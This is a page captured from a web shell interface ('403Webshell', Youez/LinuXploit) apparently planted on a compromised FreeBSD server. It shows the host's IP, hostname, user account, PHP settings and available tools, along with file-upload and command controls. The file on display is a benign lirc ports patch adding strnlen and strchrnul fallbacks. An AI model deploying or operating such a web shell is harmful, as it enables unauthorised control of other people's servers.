403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/comms/lirc/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/comms/lirc/files/patch-daemons_hw__srm7500libusb.c
--- daemons/hw_srm7500libusb.c.orig	2011-03-25 22:28:18 UTC
+++ daemons/hw_srm7500libusb.c
@@ -54,6 +54,23 @@
 #define USB_TIMEOUT (1000*10)
 #define CONTROL_BUFFERSIZE 128
 
+#ifndef HAVE_STRNLEN
+size_t
+strnlen(const char *s, size_t maxlen)
+{
+	size_t ret = strlen(s);
+	return ret > maxlen ? maxlen : ret;
+}
+#endif
+
+#ifndef HAVE_STRCHRNUL
+char *strchrnul(const char *s, int ch)
+{
+	char *ret = strchr(s, ch);
+	return ret == NULL ? ((char *)s) + strlen(s) : ret;
+}
+#endif
+
 static int srm7500_init();
 static int srm7500_deinit();
 static char *srm7500_rec(struct ir_remote *remotes);

Youez - 2016 - github.com/yon3zu
LinuXploit